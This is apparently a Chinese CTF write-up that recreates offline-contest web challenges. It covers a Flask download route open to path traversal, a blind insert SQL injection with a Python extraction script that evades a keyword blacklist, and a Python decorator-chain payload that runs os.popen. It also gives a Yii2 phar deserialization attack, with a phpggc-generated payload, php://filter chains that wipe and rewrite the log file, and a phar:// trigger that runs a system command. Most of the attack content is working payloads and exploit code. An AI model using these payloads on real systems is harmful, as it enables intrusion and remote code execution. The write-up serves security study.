复现一下线下赛的web题目
classroom 用/download路由来获得源码
1 2 3 4 5 6 @app.route('/download/<filename>' ) def download (filename ): if '..' in filename: filename = "uploads/demo.jpg" filename = filename.replace("_" , "/" ) return send_from_directory("./" , filename, as_attachment=True )
insert注入 正常功能中有一个登录和一个注册,都存在sql注入的风险,这里给出关键代码
黑名单
1 2 3 4 5 6 def safe_waf (sql ): blacklist = ["sys" , "sql" , "thread" ,"if" , "regexp" , "cmp" , "locate" , "match" ,"find" ,"field" ,"#" ,"sleep" ,"repeat" ,"lock" ,"bench" ,"like" ,"count" ,"=" ,"xor" ,"&&" ,"||" ] for black in blacklist: if black in sql: return False return True
/login路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 username = request.values.get("Name" ) password = request.values.get("Password" ) if safe_waf(username) and safe_waf(password): sql = 'select password from users where username = "' +re.escape(username)+'"' r = conn.execute(sql) result = r.fetchall() if result: pwd = '' .join(result[0 ]) if password == pwd: session['username' ] = username return redirect('/' ) return render_template("login.html" , mes="账号或者密码错误" ) else : return render_template("login.html" , msg="安全检查未通过" )
/register路由
1 2 3 4 5 6 7 8 username = re.escape(request.values.get("Name" )) password = request.values.get("Password" ) if safe_waf(username) and safe_waf(password): sql = 'insert into users (username, password) values("' + username + '","' + password + '")' r = conn.execute(sql) print (r.rowcount) else : return render_template("register.html" , mes="安全检查未通过" )
登录中的参数经过re.escape()
的过滤,我们可以先从注册功能开始进行注入,/register路由的password参数没有任何过滤,可以进行insert注入
1 Password= 1 " < binary(select * from (select password from users limit 1) tmp))--
注入后再进行登录,即可知道插入的这条记录的密码是0还是1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def inj (): username = 'ar' password = '' payload = '" < binary(select * from (select password from users limit 1) tmp))-- ' n = 1 for i in range (20 ): for i in range (48 ,123 ): mydata={"Name" :username+str (n),"Password" :password+chr (i)+payload} r0=requests.post(url+"/register" ,data=mydata,proxies=myproxy) r1 = requests.post(url + "/register" , data=mydata, proxies=myproxy) r = requests.post(url + "/login" , data={"Name" :username+str (n),"Password" :"0" }) n=n+1 if "错误" not in r.text: password+=chr (i-1 ) print (password) break if i == 122 : return password
decorator RCE 一个国外比赛的原题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 @print @list @eval @bytes @copyright._Printer__filenames.__add__ @list @str.encode @chr @len @StopAsyncIteration.__doc__.format @copyright._Printer__filenames.append @len @OSError.__doc__.format @copyright._Printer__filenames.append @len @len.__doc__.format @copyright._Printer__filenames.extend @str.encode @int.real.__name__.strip @len.__name__.format @copyright._Printer__filenames.append @len @ValueError.__doc__.format @copyright._Printer__filenames.append @len @Exception.__doc__.format @copyright._Printer__filenames.append @len @OSError.__doc__.format @copyright._Printer__filenames.append @len @StopIteration.__doc__.format @copyright._Printer__filenames.extend @str.encode @open.__name__.format @copyright._Printer__filenames.append @len @set.__doc__.format @copyright._Printer__filenames.append @len @Exception.__doc__.format @copyright._Printer__filenames.extend @str.encode @__import__.__name__.__add__ @str @tuple @str.split @str.lower @OSError.__name__.rstrip @TypeError.__name__.format class room: ...
效果如下
1 print (list (eval (b'__import__("os",).popen("./rea*")' )))
loglog yii2框架的漏洞,当时断网根本不会挖
pop链 index路由提供一个data参数来进行file_get_contents,可以用来触发phar反序列化,所以可以考虑找找链子
1 2 3 4 5 6 7 8 9 public function actionIndex ( ) { if (!Yii ::$app ->user->isGuest) { $data = Yii ::$app ->request->get ('data' ); $res = file_get_contents ($data ); file_put_contents ($data ,$res ); } return $this ->render ('index' ); }
changelog中找到版本:2.0.41.1 March 04, 2021,网上可以找到这个版本公开的链子
奇安信攻防社区-Yii2.0.42反序列化分析(一) (butian.net)
经过测试后只有上面第一条可以打通,至于第二条为什么没通,我也没去调试,以后有时间可以细看
用phpggc生成一下payload
1 2 PS E:\tools\php_tools\phpggc> php .\phpggc Yii2/RCE3 system calc -p phar -b PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpRAQAAAQAAABEAAAABAAAAAAAbAQAATzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6NDoiY2FsYyI7fXM6MTI6IgAqAHZhbGlkYXRvciI7czo2OiJzeXN0ZW0iO3M6MTM6IgAqAG1heFJldHJpZXMiO3M6MjoiMTAiO319fQgAAAB0ZXN0LnR4dAQAAAD7xPhjBAAAAAx+f9i2AQAAAAAAAHRlc3RrxfESlg7IKU4NoTP/UycabojalQIAAABHQk1C
写入phar 这里的思路和CVE-2021-3129 类似
当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
清空log文件
这里给出两种方法
1 2 3 data=php://filter/read=consumed/resource=../runtime/logs/app.log data=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
phar编码
前面加入一些填充字符,否则convert.quoted-printable-decode会报错
1 2 3 4 5 <?php echo file_get_contents ("php://filter/convert.base64-encode|convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode/resource=exp.phar" );?> aaaaaaaaaaaaaaaaaaaaaaaaaaaaP%3 d00D%3 d009%3 d00w%3 d00a%3 d00H%3 d00A%3 d00g%3 d00X%3 d001%3 d009%3 d00I%3 d00Q%3 d00U%3 d00x%3 d00U%3 d00X%3 d000%3 d00N%3 d00P%3 d00T%3 d00V%3 d00B%3 d00J%3 d00T%3 d00E%3 d00V%3 d00S%3 d00K%3 d00C%3 d00k%3 d007%3 d00I%3 d00D%3 d008%3 d00%2 b%3 d00D%3 d00Q%3 d00p%3 d00R%3 d00A%3 d00Q%3 d00A%3 d00A%3 d00A%3 d00Q%3 d00A%3 d00A%3 d00A%3 d00B%3 d00E%3 d00A%3 d00A%3 d00A%3 d00A%3 d00B%3 d00A%3 d00A%3 d00A%3 d00A%3 d00A%3 d00A%3 d00A%3 d00b%3 d00A%3 d00Q%3 d00A%3 d00A%3 d00T%3 d00z%3 d00o%3 d00z%3 d00M%3 d00j%3 d00o%3 d00i%3 d00Q%3 d002%3 d009%3 d00k%3 d00Z%3 d00W%3 d00N%3 d00l%3 d00c%3 d00H%3 d00R%3 d00p%3 d00b%3 d002%3 d005%3 d00c%3 d00R%3 d00X%3 d00h%3 d000%3 d00Z%3 d00W%3 d005%3 d00z%3 d00a%3 d00W%3 d009%3 d00u%3 d00X%3 d00F%3 d00J%3 d001%3 d00b%3 d00l%3 d00B%3 d00y%3 d00b%3 d002%3 d00N%3 d00l%3 d00c%3 d003%3 d00M%3 d00i%3 d00O%3 d00j%3 d00E%3 d006%3 d00e%3 d003%3 d00M%3 d006%3 d00N%3 d00D%3 d00M%3 d006%3 d00I%3 d00g%3 d00B%3 d00D%3 d00b%3 d002%3 d00R%3 d00l%3 d00Y%3 d002%3 d00V%3 d00w%3 d00d%3 d00G%3 d00l%3 d00v%3 d00b%3 d00l%3 d00x%3 d00F%3 d00e%3 d00H%3 d00R%3 d00l%3 d00b%3 d00n%3 d00N%3 d00p%3 d00b%3 d002%3 d005%3 d00c%3 d00U%3 d00n%3 d00V%3 d00u%3 d00U%3 d00H%3 d00J%3 d00v%3 d00Y%3 d002%3 d00V%3 d00z%3 d00c%3 d00w%3 d00B%3 d00w%3 d00c%3 d00m%3 d009%3 d00j%3 d00Z%3 d00X%3 d00N%3 d00z%3 d00Z%3 d00X%3 d00M%3 d00i%3 d00O%3 d002%3 d00E%3 d006%3 d00M%3 d00T%3 d00p%3 d007%3 d00a%3 d00T%3 d00o%3 d00w%3 d00O%3 d000%3 d008%3 d006%3 d00M%3 d00j%3 d00A%3 d006%3 d00I%3 d00k%3 d00Z%3 d00h%3 d00a%3 d002%3 d00V%3 d00y%3 d00X%3 d00F%3 d00Z%3 d00h%3 d00b%3 d00G%3 d00l%3 d00k%3 d00R%3 d002%3 d00V%3 d00u%3 d00Z%3 d00X%3 d00J%3 d00h%3 d00d%3 d00G%3 d009%3 d00y%3 d00I%3 d00j%3 d00o%3 d00z%3 d00O%3 d00n%3 d00t%3 d00z%3 d00O%3 d00j%3 d00E%3 d00y%3 d00O%3 d00i%3 d00I%3 d00A%3 d00K%3 d00g%3 d00B%3 d00n%3 d00Z%3 d00W%3 d005%3 d00l%3 d00c%3 d00m%3 d00F%3 d000%3 d00b%3 d003%3 d00I%3 d00i%3 d00O%3 d000%3 d008%3 d006%3 d00M%3 d00j%3 d00I%3 d006%3 d00I%3 d00k%3 d00Z%3 d00h%3 d00a%3 d002%3 d00V%3 d00y%3 d00X%3 d00E%3 d00R%3 d00l%3 d00Z%3 d00m%3 d00F%3 d001%3 d00b%3 d00H%3 d00R%3 d00H%3 d00Z%3 d00W%3 d005%3 d00l%3 d00c%3 d00m%3 d00F%3 d000%3 d00b%3 d003%3 d00I%3 d00i%3 d00O%3 d00j%3 d00E%3 d006%3 d00e%3 d003%3 d00M%3 d006%3 d00M%3 d00T%3 d00A%3 d006%3 d00I%3 d00g%3 d00A%3 d00q%3 d00A%3 d00G%3 d00R%3 d00l%3 d00Z%3 d00m%3 d00F%3 d001%3 d00b%3 d00H%3 d00Q%3 d00i%3 d00O%3 d003%3 d00M%3 d006%3 d00N%3 d00D%3 d00o%3 d00i%3 d00Y%3 d002%3 d00F%3 d00s%3 d00Y%3 d00y%3 d00I%3 d007%3 d00f%3 d00X%3 d00M%3 d006%3 d00M%3 d00T%3 d00I%3 d006%3 d00I%3 d00g%3 d00A%3 d00q%3 d00A%3 d00H%3 d00Z%3 d00h%3 d00b%3 d00G%3 d00l%3 d00k%3 d00Y%3 d00X%3 d00R%3 d00v%3 d00c%3 d00i%3 d00I%3 d007%3 d00c%3 d00z%3 d00o%3 d002%3 d00O%3 d00i%3 d00J%3 d00z%3 d00e%3 d00X%3 d00N%3 d000%3 d00Z%3 d00W%3 d000%3 d00i%3 d00O%3 d003%3 d00M%3 d006%3 d00M%3 d00T%3 d00M%3 d006%3 d00I%3 d00g%3 d00A%3 d00q%3 d00A%3 d00G%3 d001%3 d00h%3 d00e%3 d00F%3 d00J%3 d00l%3 d00d%3 d00H%3 d00J%3 d00p%3 d00Z%3 d00X%3 d00M%3 d00i%3 d00O%3 d003%3 d00M%3 d006%3 d00M%3 d00j%3 d00o%3 d00i%3 d00M%3 d00T%3 d00A%3 d00i%3 d00O%3 d003%3 d001%3 d009%3 d00f%3 d00Q%3 d00g%3 d00A%3 d00A%3 d00A%3 d00B%3 d000%3 d00Z%3 d00X%3 d00N%3 d000%3 d00L%3 d00n%3 d00R%3 d004%3 d00d%3 d00A%3 d00Q%3 d00A%3 d00A%3 d00A%3 d00C%3 d00%2 f%3 d00w%3 d00v%3 d00h%3 d00j%3 d00B%3 d00A%3 d00A%3 d00A%3 d00A%3 d00A%3 d00x%3 d00%2 b%3 d00f%3 d009%3 d00i%3 d002%3 d00A%3 d00Q%3 d00A%3 d00A%3 d00A%3 d00A%3 d00A%3 d00A%3 d00A%3 d00H%3 d00R%3 d00l%3 d00c%3 d003%3 d00Q%3 d00d%3 d00%2 f%3 d00r%3 d00V%3 d00s%3 d00U%3 d00c%3 d00Q%3 d002%3 d00P%3 d00%2 f%3 d00v%3 d00t%3 d003%3 d00j%3 d00R%3 d00O%3 d00v%3 d00I%3 d000%3 d00e%3 d006%3 d00g%3 d005%3 d00R%3 d00W%3 d00A%3 d00I%3 d00A%3 d00A%3 d00A%3 d00B%3 d00H%3 d00Q%3 d00k%3 d001%3 d00C%3 d00
解码并写入log
按照原来的顺序写入一遍,日志中其余的字符都会被convert.base64-decode给去除
1 data=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
写入后的效果如下
触发反序列化 1 data=phar://../runtime/logs/app.log
最后会弹10次计算器
Reference 奇安信攻防社区-Yii2.0.42反序列化分析(一) (butian.net)
https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/
CVE-2021-3129:Laravel远程代码执行复现分析 - 腾讯云开发者社区-腾讯云 (tencent.com)